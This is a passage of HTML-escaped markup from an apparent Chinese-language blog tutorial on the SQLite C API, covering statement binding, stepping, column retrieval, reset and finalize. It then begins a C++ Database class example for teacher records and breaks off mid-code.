class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003epzTail\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 貌似是说 SQL 声明的尾部,可以不管吧 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,使用 \u003ccode\u003esqlite_bind\u003c/code\u003e系列函数在声明上绑定变量,以下用 \u003ccode\u003esqlite3_bind_text\u003c/code\u003e 举例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 在声明需要绑定位置的索引,从 1 开始计数 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要绑定的字符串 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串的长度 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 某种析构函数,当绑定失败执行这个吧 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e还有 \u003ccode\u003esqlite3_bind_int\u003c/code\u003e,\u003ccode\u003esqlite3_bind_double\u003c/code\u003e之类,用法都差不多。\u003c/p\u003e\n\u003cp\u003e注意,你可以用这个函数寻找声明里面的索引:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_parameter_index\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezName\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要寻找的绑定位置 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果没找到的话,就返回 0。\u003c/p\u003e\n\u003cp\u003e现在你可以执行绑定完变量的声明了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个函数执行完,有三个状态:\u003ccode\u003eSQLITE_DONE\u003c/code\u003e,\u003ccode\u003eSQLITE_ROW\u003c/code\u003e和各种报错。接下来我们关注 ``SQLITE_ROW`,也就是返回一条行记录的状况,这个一般会出现在执行了 SELECT 的情况。\u003c/p\u003e\n\u003cp\u003e我们使用 \u003ccode\u003esqlite_column\u003c/code\u003e系列函数取出这些东西,先输入使用到的声明,然后输入索引,返回值就是里面的数据。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_blob\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_double\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite3_int64\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int64\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite3_value\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_type\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e清除绑定,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_reset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e删除声明,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_finalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要删除的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"举个-cpp-里面的例子\"\u003e举个 CPP 里面的例子\u003c/h3\u003e\n\u003cp\u003e目前我没有找到能让我舒心使用的 CPP SQLITE 库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-CPP\" data-lang=\"CPP\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstddef\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sqlite3.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sstream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;map\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;algorithm\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e Data Structure\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eTeacherDS\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTno\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTname\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTele\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ePass\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003emap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evector\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epair\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e Database Class\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Database class\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// For insert and delete.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"nf\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Query the empty time in 2022-12-31.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Create an new database file.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan 